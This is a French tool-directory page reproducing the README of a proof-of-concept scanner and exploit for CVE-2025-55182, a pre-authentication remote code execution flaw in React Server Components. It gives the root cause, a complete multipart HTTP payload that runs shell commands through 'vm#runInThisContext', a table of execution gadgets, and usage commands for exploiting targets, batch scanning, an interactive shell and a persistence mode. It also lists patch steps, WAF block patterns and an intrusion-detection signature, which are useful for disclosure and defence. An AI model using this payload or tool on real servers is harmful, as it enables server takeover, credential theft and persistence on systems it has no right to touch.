Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/im-hanzou/cve-2025-55182-poc-scanner
ReconnaissanceScanners de VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionArticles et RechercheApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHubim-hanzou/cve-2025-55182-poc-scanner

CVE-2025-55182-POC-SCANNER

Outil de recherche en sécurité unifié

Voir le dépôt
8il y a 9 moisPas encore vérifié
Partager

CVE-2025-55182 : RCE critique pré-authentification dans les composants serveur React

CVE-2025-55182 CVSS 10.0 Affected React Versions Affected Next.js Versions

Recherche en sécurité par schema.cx
« Le contrôle est une illusion. Ce sont les systèmes que nous construisons qui nous contrôlent — à moins que nous les comprenions d'abord. »


📋 Table des matières

  • Avertissement et mentions légales
  • Résumé exécutif
  • Description technique
  • Systèmes concernés
  • Preuve de concept
  • Évaluation de l'impact
  • Atténuation et remédiation
  • Calendrier de divulgation responsable
  • Références
  • Attribution

⚠️ Avertissement et mentions légales

CET OUTIL EST DESTINÉ UNIQUEMENT AUX TESTS DE SÉCURITÉ AUTORISÉS

ARRÊTEZ. LISEZ CECI AVANT DE CONTINUER.

Ce dépôt contient un code de preuve de concept pour une vulnérabilité de sécurité critique. En accédant, téléchargeant ou utilisant tout élément de ce dépôt, vous reconnaissez et acceptez ce qui suit :

Exigences légales

  1. Autorisation écrite requise : Vous DEVEZ avoir une autorisation explicite et écrite du propriétaire du système avant d'effectuer tout test de sécurité. Les accords verbaux ne suffisent pas.

  2. Limites de périmètre : Les tests doivent être confinés aux systèmes explicitement listés dans votre autorisation. L'« extension de périmètre » n'est pas autorisée.

  3. Lois applicables : L'accès non autorisé à des systèmes informatiques viole :

    • États-Unis : Computer Fraud and Abuse Act (CFAA), 18 U.S.C. § 1030
    • Union européenne : Directive 2013/40/UE relative aux attaques contre les systèmes d'information
    • Royaume-Uni : Computer Misuse Act 1990
    • Australie : Criminal Code Act 1995, Division 477-478
    • Autres juridictions : Des lois similaires sur la cybercriminalité s'appliquent dans le monde entier

Clause de non-responsabilité

LES AUTEURS ET CONTRIBUTEURS DE CE DÉPÔT :

  • N'acceptent AUCUNE responsabilité en cas d'utilisation abusive de cet outil
  • Ne fournissent AUCUNE garantie, expresse ou implicite
  • Ne sont PAS responsables des dommages découlant de l'utilisation ou de l'incapacité d'utiliser ce logiciel
  • Ne soutiennent PAS les activités illégales de quelque nature que ce soit

Directives éthiques

  • Ne testez jamais sans autorisation — même si vous « voulez juste vérifier »
  • Documentez tout — conservez des journaux détaillés de toutes les activités de test
  • Minimisez l'impact — utilisez les méthodes les moins invasives possibles
  • Rapportez de manière responsable — suivez les pratiques de divulgation coordonnée
  • Respectez la vie privée — n'exfiltrez ni ne conservez de données sensibles

« La question n'est pas de savoir si nous pouvons exploiter la vulnérabilité. C'est de savoir si nous devrions le faire, et dans quel but. »


📊 Résumé exécutif

CVE-2025-55182 est une vulnérabilité critique d'exécution de code à distance (RCE) sans authentification affectant les composants serveur React dans les applications React 19.x et Next.js 15.x-16.x.

Impact commercial

Cette vulnérabilité permet à tout attaquant non authentifié ayant un accès réseau à une application vulnérable d'exécuter des commandes arbitraires sur le serveur. L'attaque ne nécessite ni identifiants, ni interaction utilisateur, et peut être entièrement automatisée. Une exploitation réussie conduit à :

  • Compromission totale du serveur — les attaquants prennent le contrôle total du système sous-jacent
  • Risque de fuite de données — accès aux bases de données, variables d'environnement, secrets et données utilisateur
  • Mouvement latéral — les serveurs compromis peuvent être utilisés pour attaquer les réseaux internes
  • Risque pour la chaîne d'approvisionnement — les systèmes de production servant des millions d'utilisateurs peuvent être affectés

Score de sévérité

« Les gens font confiance aux systèmes parce qu'ils ne les comprennent pas. Cette confiance est une vulnérabilité. »


🔬 Description technique

Analyse de la cause racine

La vulnérabilité existe dans l'implémentation du protocole Flight de React au sein de la fonction requireModule. Cette fonction utilise la notation par crochets pour accéder aux exportations d'un module en fonction d'une entrée contrôlée par l'utilisateur, sans vérifier que la propriété demandée est une propriété propre du module.

Emplacement du code vulnérable :

root@kitploit:~
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Fonction : requireModule (environ lignes 2546-2558 dans v19.0.0)

Motif vulnérable :

root@kitploit:~
function requireModule(metadata) {
  var moduleExports = __webpack_require__(metadata[0]);
  // ... gestion asynchrone ...
  return moduleExports[metadata[2]];  // ← VULNÉRABLE : Absence de vérification hasOwnProperty
}

Mécanisme d'exploitation

L'attaque exploite le parcours de la chaîne de prototypes de JavaScript :

  1. Point d'entrée : L'attaquant envoie une requête multipart malveillante à un point de terminaison d'Action Serveur
  2. Injection de charge utile : Le champ $ACTION_0:0 contient du JSON avec les propriétés id (format module#export) et bound (arguments) contrôlées par l'attaquant
  3. Accès au prototype : En spécifiant des exportations comme constructor ou en accédant aux propriétés du prototype, les attaquants peuvent référencer des modules Node.js intégrés
  4. Gadgets RCE : Des fonctions comme vm.runInThisContext, child_process.execSync ou fs.readFileSync s'exécutent avec des arguments fournis par l'attaquant

Vecteur d'attaque

root@kitploit:~
HTTP POST /formaction
    ↓
decodeAction(formData, serverManifest)
    ↓
loadServerReference(manifest, value.id, value.bound)
    ↓
resolveServerReference(config, id)  // Parses "module#export" format
    ↓
requireModule(metadata)
    ↓
moduleExports[metadata[2]]  // Prototype chain access → RCE

Structure de la charge utile

root@kitploit:~
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--

Gadgets RCE disponibles

« Tout système a une porte. La question est de savoir si vous avez construit la serrure vous-même — ou si vous l'avez héritée de quelqu'un qui n'attendait jamais de visiteurs. »


🎯 Systèmes concernés

Versions vulnérables

ProduitVersions vulnérablesVersions corrigées
React19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1+, 19.1.2+, 19.2.1+
Next.js15.x, 16.x (utilisant React vulnérable)Versions avec React corrigé

Prérequis pour l'exploitation

  1. Composants serveur React activés : L'application utilise RSC avec Actions Serveur
  2. Version vulnérable de React : Une des versions affectées est utilisée
  3. Accès réseau : L'attaquant peut atteindre les points de terminaison d'Action Serveur
  4. Modules dangereux dans le bundle : Pour une RCE directe, des modules comme vm, child_process ou fs doivent être dans le bundle webpack

Exigences de plateforme

  • Environnement d'exécution : Node.js (toute version supportant React 19)
  • Framework : App Router Next.js ou implémentation RSC personnalisée
  • Aucune configuration supplémentaire nécessaire pour être vulnérable

Probabilité de présence des modules dangereux


🔧 Preuve de concept

Outil de scan

Ce dépôt inclut un scanner de sécurité complet basé sur Python avec plusieurs modes de fonctionnement.

Structure du dépôt

root@kitploit:~
CVE-2025-55182-poc/
├── README.md                    # Ce fichier
├── scanner/
│   ├── __init__.py             # Initialisation du package Python
│   ├── scanner.py              # Scanner unifié principal (6 modes)
│   ├── readme.md               # Documentation détaillée du scanner
│   ├── requirements.txt        # Dépendances Python
│   └── docs/
│       ├── TECHNICAL-ANALYSIS.md    # Analyse approfondie de la vulnérabilité
│       └── VULNERABLE-PACKAGES.md   # Versions des packages affectés

Installation :

root@kitploit:~
cd scanner
pip install -r requirements.txt

Exemples d'utilisation de base

Scan de vulnérabilité :

root@kitploit:~
# Vérifier si la cible est vulnérable
python scanner.py scan https://target.com

Détection de gadgets :

root@kitploit:~
# Identifier les gadgets RCE disponibles
python scanner.py exploit https://target.com --detect-gadgets

Exécution de commande (avec autorisation) :

root@kitploit:~
# Exécuter une commande sur la cible vulnérable
python scanner.py exploit https://target.com -c "whoami"

Tests par lots :

root@kitploit:~
# Tester plusieurs cibles à partir d'un fichier
python scanner.py batch -f targets.txt -o results.json

Scan automatisé avec vérification :

root@kitploit:~
# Scan complet avec vérification de l'exploit
python scanner.py auto -f targets.txt -o report.txt

Résultat attendu

Cible vulnérable :

root@kitploit:~
[+] VULNÉRABLE à CVE-2025-55182 !
    Framework : Next.js
    Version : 15.1.0
    Confiance : ÉLEVÉE

Gadgets disponibles :
  ✓ vm#runInThisContext
  ✓ child_process#execSync
  ✓ fs#readFileSync
  ✓ fs#writeFileSync

Cible corrigée :

root@kitploit:~
[-] Non vulnérable ou impossible à déterminer
    Framework détecté : Next.js
    Version : 15.2.0 (corrigée)

Modes du scanner

Fonctionnalités

  • Détection de framework : Identifie les applications Next.js/React avant l'exploitation
  • Détection WAF/CDN : Reconnaît Cloudflare, Akamai, Incapsula, AWS WAF, Azure WAF, et plus encore
  • Plusieurs gadgets RCE : Chemins d'exploitation via vm, child_process, fs, module
  • RCE en deux étapes : Exploitation alternative via fs#writeFileSync + module#_load
  • Vérification : Confirme les exploits avec une preuve d'exécution
  • Prévention des faux positifs : Filtrage intelligent des réponses HTML/WAF
  • Rapports : Formats de sortie texte, JSON et HTML

Pour une documentation complète, voir scanner/readme.md.

« Un outil n'est aussi dangereux que l'intention derrière lui. Entre de bonnes mains, une arme devient un bouclier. »


💥 Évaluation de l'impact

Impact sur la confidentialité : ÉLEVÉ

  • Variables d'environnement : Identifiants de base de données, clés API, secrets
  • Code source : Logique applicative, algorithmes propriétaires
  • Données utilisateur : Informations personnelles, jetons d'authentification
  • Fichiers système : /etc/passwd, clés SSH, identifiants cloud
  • Réseaux internes : Point de pivot pour d'autres attaques

Impact sur l'intégrité : ÉLEVÉ

  • Injection de code : Portes dérobées dans les fichiers applicatifs
  • Manipulation de données : Modifications de base de données
  • Modifications de configuration : Paramètres de sécurité, contrôles d'accès
  • Mécanismes de persistance : Tâches cron, scripts de démarrage, clés SSH

Impact sur la disponibilité : ÉLEVÉ

  • Interruption de service : Terminaison de processus, épuisement des ressources
  • Destruction de données : Suppression de fichiers, effacement de bases de données
  • Déploiement de rançongiciel : Chiffrement de fichiers critiques
  • Compromission totale du système : Contrôle administratif complet

Scénarios d'attaque

  1. Fuite de données : L'attaquant lit les fichiers .env contenant les identifiants de base de données, exfiltre les données clients
  2. Installation de cryptomineur : L'attaquant écrit un script de minage, ajoute une tâche cron pour la persistance
  3. Attaque sur la chaîne d'approvisionnement : L'attaquant modifie le code source en production, servant du contenu malveillant aux utilisateurs
  4. Mouvement latéral : Le serveur compromis est utilisé pour attaquer les bases de données, API et services internes
  5. Rançongiciel : L'attaquant chiffre les fichiers applicatifs, exige un paiement pour les clés de déchiffrement

🛡️ Atténuation et remédiation

Actions immédiates (à faire maintenant)

  1. Mettre à jour React immédiatement

    root@kitploit:~
    npm update react react-dom react-server-dom-webpack
    

    Versions cibles : 19.0.1+, 19.1.2+ ou 19.2.1+

  2. Vérifier l'application du correctif

    root@kitploit:~
    npm ls react
    

    Assurez-vous qu'aucune version vulnérable ne reste dans votre arbre de dépendances

Règles WAF/Pare-feu

Bloquer les requêtes contenant ces motifs :

root@kitploit:~
# Motifs de corps de requête à bloquer
#constructor
#__proto__
#prototype
vm#runInThisContext
vm#runInNewContext
child_process#execSync
child_process#execFileSync
child_process#spawnSync
module#_load
fs#readFileSync
fs#writeFileSync

Renforcement de la configuration Next.js

Exclure les packages dangereux du bundling webpack :

root@kitploit:~
// next.config.js
module.exports = {
  serverExternalPackages: [
    'sharp',
    'puppeteer',
    'execa',
    'shelljs',
    'vm2'
  ]
}

Détection et surveillance

Motifs de logs à surveiller :

  • Champs $ACTION_REF_ ou $ACTION_ID_ inhabituels dans les corps de requêtes
  • Requêtes POST vers les points de terminaison /api/* avec des données multipart contenant du JSON
  • Messages d'erreur faisant référence à constructor, prototype ou à un accès inattendu à un module

Signatures de détection d'intrusion :

root@kitploit:~
alert http any any -> $HOME_NET any (
  msg:"Tentative d'exploitation CVE-2025-55182";
  content:"$ACTION_";
  content:"#constructor"; distance:0;
  sid:2025551820; rev:1;
)

Recommandations à long terme

  1. Audit des dépendances : Scans réguliers avec npm audit, Snyk ou outils similaires
  2. Mises à jour de sécurité : Mises à jour automatisées des dépendances via Dependabot ou Renovate
  3. Validation des entrées : Ne jamais faire confiance aux entrées utilisateur dans les motifs d'accès aux propriétés
  4. Moindre privilège : Exécuter les applications avec les autorisations minimales nécessaires
  5. Segmentation réseau : Isoler les systèmes de production des réseaux internes

« Corriger ne consiste pas seulement à réparer ce qui est cassé. C'est fermer les portes dont vous ignoriez l'existence. »


📅 Calendrier de divulgation responsable

Cette divulgation suit les directives de divulgation de vulnérabilité coordonnée CERT/CC et les normes ISO/IEC 29147:2018.


📚 Références

Ressources officielles

  • Entrée CVE : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182
  • Entrée NVD : https://nvd.nist.gov/vuln/detail/CVE-2025-55182

Avis du fournisseur

  • Avis de sécurité React : https://github.com/facebook/react/security/advisories
  • Sécurité Next.js : https://nextjs.org/docs/security

Recherches connexes

  • Analyse technique (approfondie)
  • Analyse des packages vulnérables

Lectures complémentaires

  • OWASP - Pollution de prototype
  • Sécurité du module VM Node.js
  • RFC des composants serveur React

🏆 Attribution

Recherche originale

Cette preuve de concept a été développée par l'équipe de recherche en sécurité de schema.cx.

Dépôt : https://github.com/ejpir/CVE-2025-55182-poc

Remerciements

Nous tenons à remercier :

  • Les équipes de sécurité de React et Next.js pour leur réaction rapide
  • La communauté de recherche en sécurité pour l'analyse collaborative
  • MITRE pour la coordination CVE

📜 Licence

Ce projet est publié uniquement à des fins éducatives et de recherche en sécurité autorisée.

En utilisant ce logiciel, vous acceptez de :

  1. L'utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test
  2. Suivre les pratiques de divulgation responsable
  3. Ne pas l'utiliser à des fins malveillantes
  4. Accepter l'entière responsabilité de vos actions

« Nous ne piratons pas pour détruire. Nous piratons pour comprendre. Et comprendre est la première étape pour construire quelque chose de meilleur. »

schema.cx — Recherche en sécurité pour un monde numérique plus sûr

Télécharger l’outil
MétriqueÉvaluation
Score de base CVSS v3.110.0 CRITIQUE
Vecteur d'attaqueRéseau
Complexité de l'attaqueFaible
Privilèges requisAucun
Interaction utilisateurAucune
Impact (C/I/D)Élevé / Élevé / Élevé
GadgetModuleDescriptionImpact
vm#runInThisContextvmExécute JS dans le contexte actuelRCE directe
vm#runInNewContextvmExécute JS dans un bac à sable (contournable)RCE directe
child_process#execSyncchild_processExécute des commandes shellRCE directe
child_process#spawnSyncchild_processLance des processusRCE directe
fs#readFileSyncfsLit des fichiers arbitrairesExfiltration de données
fs#writeFileSyncfsÉcrit des fichiers arbitrairesPersistance/porte dérobée
module#_loadmoduleCharge des modules JS (RCE en deux étapes)RCE indirecte
ModuleProbabilité dans le bundleSources courantes
fsTrès élevéefs-extra, gray-matter, multer, sharp, chokidar
child_processMoyenne-élevéeexeca, shelljs, puppeteer, sharp, générateurs PDF
vmFaible-moyenneejs, pug, moteurs de templates
moduleTrès faibletsx, ts-node (généralement en CLI uniquement)
ModeObjectif
scanDétection de vulnérabilité et empreinte
exploitExploitation contrôlée avec des gadgets spécifiques
shellShell de commande interactif sur les cibles vulnérables
batchTester plusieurs URL avec statistiques
autoScan automatisé multi-cibles avec vérification
persistDémonstrations d'attaques de persistance (clés SSH, identifiants)
DateÉvénement
DécouverteInformations en attente
Notification au fournisseurInformations en attente
Accusé de réception du fournisseurInformations en attente
Développement du correctifInformations en attente
Publication du correctifReact 19.0.1, 19.1.2, 19.2.1
Divulgation publiqueInformations en attente
Attribution CVECVE-2025-55182